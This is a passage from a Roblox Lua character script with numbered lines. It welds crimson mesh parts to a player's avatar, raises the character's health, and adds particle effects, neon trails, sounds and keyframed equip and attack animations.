  2867. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.66774845, 0.445008755, 1.50737095, 0.749997497, 0.500002265, -0.433014721, -0.433012635, 0.866024196, 0.250004709, 0.500004232, -2.02655792e-006, 0.866023183))
  2868. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Crimson","Part",Vector3.new(2.20000005, 1, 1))
  2869. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.70916891, 0.288796425, 1.12511444, 0.424947768, 0.836517453, -0.34591651, -0.870010257, 0.482961774, 0.0991482884, 0.250003695, 0.25881803, 0.933012009))
  2870. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Crimson","Part",Vector3.new(2.20000005, 1, 1))
  2871. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.24143982, 0.288818121, 3.98402214, 0.123706907, 0.408494055, -0.904339194, -0.870007515, 0.482966691, 0.0991476029, 0.477266878, 0.774516642, 0.415139139))
  2872. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2873. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.288883209, 4.34139919, -3.98407936, -0.870006502, 0.482969046, 0.099145025, 0.123710275, 0.408492953, -0.904339135, -0.477267861, -0.774515808, -0.415139765))
  2874. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
  2875. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2876. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.377311707, 3.81443644, -4.17874861, 1.43051147e-006, 1.00000012, 5.58793545e-006, 0.258813858, 5.02169132e-006, -0.965927303, -0.965927362, 2.82377005e-006, -0.258813858))
  2877. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
  2878. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Crimson","Part",Vector3.new(2.20000005, 1, 1))
  2879. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.11095357, 0.452475548, 3.33581829, 0.214266971, -0.258726388, -0.941886604, 0.124996454, -0.949091196, 0.289140463, -0.968744338, -0.179685742, -0.171018958))
  2880. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2881. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.445028067, 4.04179811, -4.22505188, -0.433007121, 0.86602807, 0.250001073, 0.176776409, 0.353552371, -0.918559194, -0.883886516, -0.353548348, -0.306183964))
  2882. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
  2883. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Crimson","Part",Vector3.new(2.20000005, 1, 1))
  2884. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.71447492, 0.377288342, 4.1787672, 0.258815825, 7.89761543e-007, -0.965926647, 2.11596489e-006, 1.00000012, 1.35600567e-006, 0.965926886, -2.41398811e-006, 0.258815885))
  2885. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2886. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.452456236, 4.21090841, 3.33576679, -0.124996543, 0.949091196, -0.289140046, 0.214267105, -0.25872606, -0.941886783, -0.968744338, -0.179685771, -0.171019137))
  2887. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
  2888. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Crimson","Part",Vector3.new(2.20000005, 1, 1))
  2889. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.94182658, 0.445016861, 4.22507095, 0.176774979, 0.353554398, -0.918558657, -0.433007926, 0.866026998, 0.250003278, 0.883886337, 0.353548825, 0.306183696))
  2890. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2891. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.256506443, 3.92671657, -4.59811449, -1.00000024, 2.62260437e-006, 1.4603138e-006, -7.4505806e-007, 0.258819073, -0.965925872, -2.89268792e-006, -0.965925932, -0.258819073))
  2892. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
  2893. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Crimson","Part",Vector3.new(2.20000005, 1, 1))
  2894. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.4743073, 0.377253056, 1.63544273, 0.866023183, -4.61935997e-007, -0.500004172, 1.52736902e-006, 1.00000012, 1.65402889e-006, 0.500004232, -2.21282244e-006, 0.866023183))
  2895. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Crimson","Part",Vector3.new(2.20000005, 1, 1))
  2896. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.15870619, 0.452619314, 0.758959055, -0.533491194, -0.310006529, -0.786945462, 0.124997422, -0.949090362, 0.289142251, -0.836518347, 0.0558886975, 0.545081377))
  2897. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Crimson","Part",Vector3.new(2.20000005, 1, 1))
  2898. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.84976673, 0.256440639, 1.85214663, 6.2584877e-007, 0.866025329, -0.500000298, -1.00000024, 1.72108412e-006, 1.7285347e-006, 2.38418579e-006, 0.500000298, 0.866025329))
  2899. Gear2=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Crimson","Part",Vector3.new(4.29999971, 4.30000019, 1))
  2900. Gear2weld=weld(m,Handle2,Gear2,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.049841404, 0.049908638, 2.78949738e-005, 0.999990344, -5.01424074e-006, -1.49011612e-007, 5.28991222e-006, 0.999994934, 2.98023224e-008, 2.38418579e-007, -1.63912773e-007, 0.999994636))
  2901. mesh("SpecialMesh",Gear2,Enum.MeshType.FileMesh,"http://www.roblox.com/asset?id=156292343",Vector3.new(0, 0, 0),Vector3.new(5, 5, 15))
  2902. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Crimson","Part",Vector3.new(2.20000005, 1, 1))
  2903. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.82676554, 0.256523609, 4.598104, -1.1920929e-006, 0.258818835, -0.965925872, -1.00000012, 1.46776438e-006, 1.63912773e-006, 1.83098018e-006, 0.965925872, 0.258818835))
  2904.  
  2905. local modelzorzz3=Instance.new("Model")
  2906. modelzorzz3.Parent=Character
  2907. modelzorzz3.Name="Eye"
  2908.  
  2909. handle=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Handle",Vector3.new(1.20000005, 1.20000005, 1.20000005))
  2910. handleweld=weld(m,Character["Torso"],handle,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-2.22326851, -3.5562191, -0.038143158, 0, 0, 1, 0, 1, 0, -1, 0, 0))
  2911. mesh("SpecialMesh",handle,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 3, 1))
  2912. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Crimson","Part",Vector3.new(1.20000005, 1.20000005, 1.20000005))
  2913. Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0, 1.09672546e-005, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  2914. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1.102, 0.950000048, 1.16999996))
  2915. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Crimson","Part",Vector3.new(1.20000005, 1.20000005, 1.20000005))
  2916. Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0, 1.09672546e-005, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  2917. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1.102, 3, 0.863999963))
  2918. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Crimson","Part",Vector3.new(3.79999995, 4, 1.39999998))
  2919. Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0999984741, 0, -0.100000381, 0, -1, 0, 0, 0, 1, -1, -0, 0))
  2920. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/asset/?id=3270017",Vector3.new(0, 0, 0),Vector3.new(4.77400017, 4.96199989, 4.73800039))
  2921. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(3.79999995, 4, 1.39999998))
  2922. Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0999984741, 0, -0.100000381, 0, -1, 0, 0, 0, 1, -1, -0, 0))
  2923. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/asset/?id=3270017",Vector3.new(0, 0, 0),Vector3.new(4.4920001, 4.70400047, 4.73800039))
  2924. Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Crimson","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964))
  2925. Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100013733, -3.48671532, -1.09328079, 1, -2.52891718e-012, -6.81310423e-013, 2.53075664e-012, 0.866021812, 0.500005603, -6.74442273e-013, -0.500005603, 0.866021752))
  2926. Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Crimson","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964))
  2927. Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100009918, -3.09970522, 1.40989685, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  2928. Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Crimson","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964))
  2929. Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.100009918, -3.09970522, 1.39007568, -0.999999702, 0, 5.96046448e-008, 0, 1, 0, -5.96046448e-008, 0, -0.999999702))
  2930. Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Crimson","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964))
  2931. Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100013733, -3.61302567, 0.360752106, 1, -3.69486299e-012, 1.70532143e-012, 3.81851625e-012, 0.707111537, -0.707102001, 1.40679254e-012, 0.70710206, 0.707111537))
  2932.  
  2933. p = game.Players.LocalPlayer
  2934. char = p.Character
  2935. torso = char.Torso
  2936. neck = char.Torso.Neck
  2937. hum = char.Humanoid
  2938. hum.MaxHealth = 1527500
  2939. wait()
  2940. hum.Health =hum.MaxHealth
  2941.  
  2942. local particleemitter = Instance.new("ParticleEmitter", Handle)
  2943. particleemitter.VelocitySpread = 180
  2944. particleemitter.Lifetime = NumberRange.new(0.1)
  2945. particleemitter.Speed = NumberRange.new(2)
  2946. particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 5.563)})
  2947. particleemitter.RotSpeed = NumberRange.new(-45, 45)
  2948. particleemitter.Rate = 100
  2949. particleemitter.Rotation = NumberRange.new(-45, 45)
  2950. particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)})
  2951. particleemitter.LightEmission = 0.8
  2952. particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0))
  2953.  
  2954. local particleemitter = Instance.new("ParticleEmitter", Handle2)
  2955. particleemitter.VelocitySpread = 180
  2956. particleemitter.Lifetime = NumberRange.new(0.1)
  2957. particleemitter.Speed = NumberRange.new(2)
  2958. particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 5.563)})
  2959. particleemitter.RotSpeed = NumberRange.new(-45, 45)
  2960. particleemitter.Rate = 100
  2961. particleemitter.Rotation = NumberRange.new(-45, 45)
  2962. particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)})
  2963. particleemitter.LightEmission = 0.8
  2964. particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0))
  2965.  
  2966. local particleemitter = Instance.new("ParticleEmitter", handle)
  2967. particleemitter.VelocitySpread = 180
  2968. particleemitter.Lifetime = NumberRange.new(0.1)
  2969. particleemitter.Speed = NumberRange.new(2)
  2970. particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 7.563)})
  2971. particleemitter.RotSpeed = NumberRange.new(-45, 45)
  2972. particleemitter.Rate = 100
  2973. particleemitter.Rotation = NumberRange.new(-45, 45)
  2974. particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)})
  2975. particleemitter.LightEmission = 0.8
  2976. particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0))
  2977.  
  2978. particleemitter.Enabled = true
  2979. MagicCircle(BrickColor.new("Crimson"),cf(Torso.Position),75,75,75,35,35,35,0.025)
  2980. MagicCircle(BrickColor.new("Crimson"),cf(Torso.Position),76,76,76,36,36,36,0.025)
  2981. so("http://www.roblox.com/asset/?id=150829983",Character,3,0.475)
  2982. so("http://www.roblox.com/asset/?id=231917742",Character,3,0.75)
  2983. for i=0,1,0.005 do
  2984. swait()
  2985. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,5+1*i)*angles(math.rad(-15),math.rad(0),math.rad(0)),0.1)
  2986. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(-25),math.rad(0),math.rad(0)),0.1)
  2987. handleweld.C0=clerp(handleweld.C0,cf(0,0+1*i,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.1)
  2988. Handle2weld.C0=clerp(Handle2weld.C0,cf(0-1*i,0,0)*angles(math.rad(90),math.rad(15),math.rad(0)),0.1)
  2989. Handleweld.C0=clerp(Handleweld.C0,cf(0+1*i,0,0)*angles(math.rad(90),math.rad(-15),math.rad(0)),0.1)
  2990. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(-30),math.rad(0),math.rad(-30)),0.1)
  2991. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-30),math.rad(0),math.rad(30)),0.1)
  2992. RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-30),math.rad(0),math.rad(-30)),0.1)
  2993. LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-30),math.rad(0),math.rad(30)),0.1)
  2994. end
  2995. for i=0,1,0.04 do
  2996. swait()
  2997. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,-1)*angles(math.rad(40),math.rad(0),math.rad(-40)),.3)
  2998. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  2999. Handleweld.C0=clerp(Handleweld.C0,cf(1.5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3000. Handle2weld.C0=clerp(Handle2weld.C0,cf(-1.5,3,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  3001. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-40),math.rad(0),math.rad(40)),.3)
  3002. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(70),math.rad(0),math.rad(-45)),.3)
  3003. RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0,1.57,0)*angles(math.rad(0),math.rad(0),math.rad(-20)),.3)
  3004. LH.C0=clerp(LH.C0,cf(-1,0.5,0)*euler(0,-1.57,0)*angles(math.rad(-10),math.rad(30),math.rad(-40)),.3)
  3005. end
  3006. attack = false
  3007. end
  3008. end
  3009. end)
  3010.  
  3011. function MagicCircle(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay)
  3012. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  3013. prt.Anchored=true
  3014. prt.CFrame=cframe
  3015. local msh=mesh("SpecialMesh",prt,"Sphere","",vt(0,0,0),vt(x1,y1,z1))
  3016. game:GetService("Debris"):AddItem(prt,2)
  3017. coroutine.resume(coroutine.create(function(Part,Mesh)
  3018. for i=0,1,delay do
  3019. wait()
  3020. Part.CFrame=Part.CFrame
  3021. Part.Transparency=i
  3022. Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
  3023. end
  3024. Part.Parent=nil
  3025. end),prt,msh)
  3026. end
  3027.  
  3028. TrailDeb = false
  3029.  
  3030. function equipanim()
  3031. attack=true
  3032. Humanoid.WalkSpeed = 0
  3033. if TrailDeb == false then
  3034. TrailDeb = true
  3035. end
  3036.  
  3037.  
  3038. coroutine.wrap(function()
  3039. local Old = handle.CFrame.p
  3040. while wait()do
  3041. if not TrailDeb then break end
  3042. local New = handle.CFrame.p
  3043. local Mag =(Old -New).magnitude
  3044. local Dis =(Old +New)/2
  3045. local Trail = Instance.new("Part",Character)
  3046. Trail.Material = "Neon"
  3047. Trail.Anchored = true
  3048. Trail.CanCollide = false
  3049. Trail.BrickColor = TorsoColor
  3050. Trail.Size = Vector3.new(0.2,Mag,0.2)
  3051. Trail.TopSurface = 0
  3052. Trail.BottomSurface = 0
  3053. Trail.formFactor = "Custom"
  3054. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  3055. local ms = Instance.new("BlockMesh",Trail)
  3056. ms.Scale = Vector3.new(1,1,1)
  3057. local TM = Instance.new("CylinderMesh",Trail)
  3058. TM.Scale = Vector3.new(1,1,1)
  3059. Old = New
  3060. coroutine.wrap(function()
  3061. for i = 1,0,-0.1 do
  3062. wait()
  3063. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  3064. end
  3065. Trail:remove()
  3066. end)()
  3067. coroutine.wrap(function()
  3068. for i = 1,10 do
  3069. wait()
  3070. Trail.Transparency = Trail.Transparency +0.1
  3071. end end)()end end)()
  3072. coroutine.wrap(function()
  3073. local Old = Handle.CFrame.p
  3074. while wait()do
  3075. if not TrailDeb then break end
  3076. local New = Handle.CFrame.p
  3077. local Mag =(Old -New).magnitude
  3078. local Dis =(Old +New)/2
  3079. local Trail = Instance.new("Part",Character)
  3080. Trail.Material = "Neon"
  3081. Trail.Anchored = true
  3082. Trail.CanCollide = false
  3083. Trail.BrickColor = TorsoColor
  3084. Trail.Size = Vector3.new(0.2,Mag,0.2)
  3085. Trail.TopSurface = 0
  3086. Trail.BottomSurface = 0
  3087. Trail.formFactor = "Custom"
  3088. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  3089. local ms = Instance.new("BlockMesh",Trail)
  3090. ms.Scale = Vector3.new(1,1,1)
  3091. local TM = Instance.new("CylinderMesh",Trail)
  3092. TM.Scale = Vector3.new(1,1,1)
  3093. Old = New
  3094. coroutine.wrap(function()
  3095. for i = 1,0,-0.1 do
  3096. wait()
  3097. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  3098. end
  3099. Trail:remove()
  3100. end)()
  3101. coroutine.wrap(function()
  3102. for i = 1,10 do
  3103. wait()
  3104. Trail.Transparency = Trail.Transparency +0.1
  3105. end end)()end end)()
  3106. coroutine.wrap(function()
  3107. local Old = Handle2.CFrame.p
  3108. while wait()do
  3109. if not TrailDeb then break end
  3110. local New = Handle2.CFrame.p
  3111. local Mag =(Old -New).magnitude
  3112. local Dis =(Old +New)/2
  3113. local Trail = Instance.new("Part",Character)
  3114. Trail.Material = "Neon"
  3115. Trail.Anchored = true
  3116. Trail.CanCollide = false
  3117. Trail.BrickColor = TorsoColor
  3118. Trail.Size = Vector3.new(0.2,Mag,0.2)
  3119. Trail.TopSurface = 0
  3120. Trail.BottomSurface = 0
  3121. Trail.formFactor = "Custom"
  3122. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  3123. local ms = Instance.new("BlockMesh",Trail)
  3124. ms.Scale = Vector3.new(1,1,1)
  3125. local TM = Instance.new("CylinderMesh",Trail)
  3126. TM.Scale = Vector3.new(1,1,1)
  3127. Old = New
  3128. coroutine.wrap(function()
  3129. for i = 1,0,-0.1 do
  3130. wait()
  3131. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  3132. end
  3133. Trail:remove()
  3134. end)()
  3135. coroutine.wrap(function()
  3136. for i = 1,10 do
  3137. wait()
  3138. Trail.Transparency = Trail.Transparency +0.1
  3139. end end)()end end)()
  3140. so("http://www.roblox.com/asset/?id=200632370",Torso,1,0.5)
  3141. for i=0,1,0.005 do
  3142. swait()
  3143. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,100-100*i)*euler(0,0,0+90*i),.2)
  3144. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0.1,0,0),.2)
  3145. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05)
  3146. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05)
  3147. Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05)
  3148. LW.C0=clerp(LW.C0,cf(-1,0.5,-0.5)*angles(math.rad(90),math.rad(0),math.rad(40)),.2)
  3149. RW.C0=clerp(RW.C0,cf(1,0.5,-0.5)*angles(math.rad(90),math.rad(0),math.rad(-40)),.2)
  3150. end
  3151. for i=0,1,0.005 do
  3152. swait()
  3153. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,2.5)*euler(0,0,0+90*i),.2)
  3154. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0.1,0,0),.2)
  3155. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05)
  3156. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05)
  3157. Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05)
  3158. LW.C0=clerp(LW.C0,cf(-1,0.5,-0.5)*angles(math.rad(90),math.rad(0),math.rad(40)),.2)
  3159. RW.C0=clerp(RW.C0,cf(1,0.5,-0.5)*angles(math.rad(90),math.rad(0),math.rad(-40)),.2)
  3160. end
  3161. so("http://www.roblox.com/asset/?id=150829983",Character,1,0.9)
  3162. so("http://www.roblox.com/asset/?id=150829983",Character,1,0.9)
  3163. for i=0,1,0.005 do
  3164. swait()
  3165. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,5+1*i)*angles(math.rad(-15),math.rad(0),math.rad(0)),0.1)
  3166. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(-25),math.rad(0),math.rad(0)),0.1)
  3167. handleweld.C0=clerp(handleweld.C0,cf(0,0+1*i,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.1)
  3168. Handle2weld.C0=clerp(Handle2weld.C0,cf(0-1*i,0,0)*angles(math.rad(90),math.rad(15),math.rad(0)),0.1)
  3169. Handleweld.C0=clerp(Handleweld.C0,cf(0+1*i,0,0)*angles(math.rad(90),math.rad(-15),math.rad(0)),0.1)
  3170. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(-30),math.rad(0),math.rad(-30)),0.1)
  3171. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-30),math.rad(0),math.rad(30)),0.1)
  3172. RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-30),math.rad(0),math.rad(-30)),0.1)
  3173. LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-30),math.rad(0),math.rad(30)),0.1)
  3174. end
  3175. for i=0,1,0.04 do
  3176. swait()
  3177. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,-1)*angles(math.rad(40),math.rad(0),math.rad(-40)),.3)
  3178. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3179. Handleweld.C0=clerp(Handleweld.C0,cf(1.5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3180. Handle2weld.C0=clerp(Handle2weld.C0,cf(-1.5,3,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  3181. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-40),math.rad(0),math.rad(40)),.3)
  3182. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(70),math.rad(0),math.rad(-45)),.3)
  3183. RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0,1.57,0)*angles(math.rad(0),math.rad(0),math.rad(-20)),.3)
  3184. LH.C0=clerp(LH.C0,cf(-1,0.5,0)*euler(0,-1.57,0)*angles(math.rad(-10),math.rad(30),math.rad(-40)),.3)
  3185. end
  3186. --dmgstop()
  3187. attack=false
  3188. Humanoid.WalkSpeed = 12
  3189. if TrailDeb == true then
  3190. TrailDeb = false
  3191. end
  3192. end
  3193.  
  3194. function attackone()
  3195. attack=true
  3196. if TrailDeb == false then
  3197. TrailDeb = true
  3198. end
  3199.  
  3200.  
  3201. coroutine.wrap(function()
  3202. local Old = Handle.CFrame.p
  3203. while wait()do
  3204. if not TrailDeb then break end
  3205. local New = Handle.CFrame.p
  3206. local Mag =(Old -New).magnitude
  3207. local Dis =(Old +New)/2
  3208. local Trail = Instance.new("Part",Character)
  3209. Trail.Material = "Neon"
  3210. Trail.Anchored = true
  3211. Trail.CanCollide = false
  3212. Trail.BrickColor = TorsoColor
  3213. Trail.Size = Vector3.new(0.2,Mag,0.2)
  3214. Trail.TopSurface = 0
  3215. Trail.BottomSurface = 0
  3216. Trail.formFactor = "Custom"
  3217. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  3218. local ms = Instance.new("BlockMesh",Trail)
  3219. ms.Scale = Vector3.new(1,1,1)
  3220. local TM = Instance.new("CylinderMesh",Trail)
  3221. TM.Scale = Vector3.new(1,1,1)
  3222. Old = New
  3223. coroutine.wrap(function()
  3224. for i = 1,0,-0.1 do
  3225. wait()
  3226. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  3227. end
  3228. Trail:remove()
  3229. end)()
  3230. coroutine.wrap(function()
